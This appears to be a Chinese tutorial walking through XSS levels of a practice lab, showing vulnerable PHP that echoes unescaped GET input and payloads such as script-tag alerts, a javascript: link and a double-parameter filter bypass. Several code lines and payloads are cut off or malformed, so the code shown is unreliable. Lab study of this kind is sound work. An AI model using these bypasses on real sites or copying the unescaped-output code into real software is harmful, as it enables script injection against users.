跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击,攻击者可以在合法网站或Web应用程序中执行恶意脚本。当wb应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。
跨站脚本攻击,XSS(Cross Site Scripting)。由于与CSS(Cascading Style Sheet))重名,所以就更名为
XSS。
XSS作为OWASP TOP10(2017)内容之一,主要使用JavaSript来完成恶意攻击的行为,JS可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS攻击“想象"空间非常大。也就是说,JS强大的灵活性和功能,为XSS攻击提供了非常广阔的攻击面。
XSS 通过将精心构造的代码(JavaScript)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。
整个XSS 攻击过程,涉及三个角色:
服务器
攻击者
客户端浏览器用户(前端)
攻击流程:
<script>alert('xss')script>
输入在输入框中


出现弹窗,表示攻击成功。
查看源代码
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo 'Hello '
. $_GET[ 'name' ] . '';
}
?>
发现并没有任何过滤。
输入
<script>alert('xss')script>

发现将js标签中的内容输出了,可知后端代码将js标签过滤了。
输入js伪协议
<a href=javascript:alert(/xss/)>helloa>

点击hello,出现弹窗,表示攻击成功

查看源代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) //判断$_GET中是否包含name
{
// Get input
$name = str_replace( '

查看源代码
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "

如果没反应就刷新页面。
也可以使用& 拼接另一个参数(随便定义),也就是双参数绕过。
&=
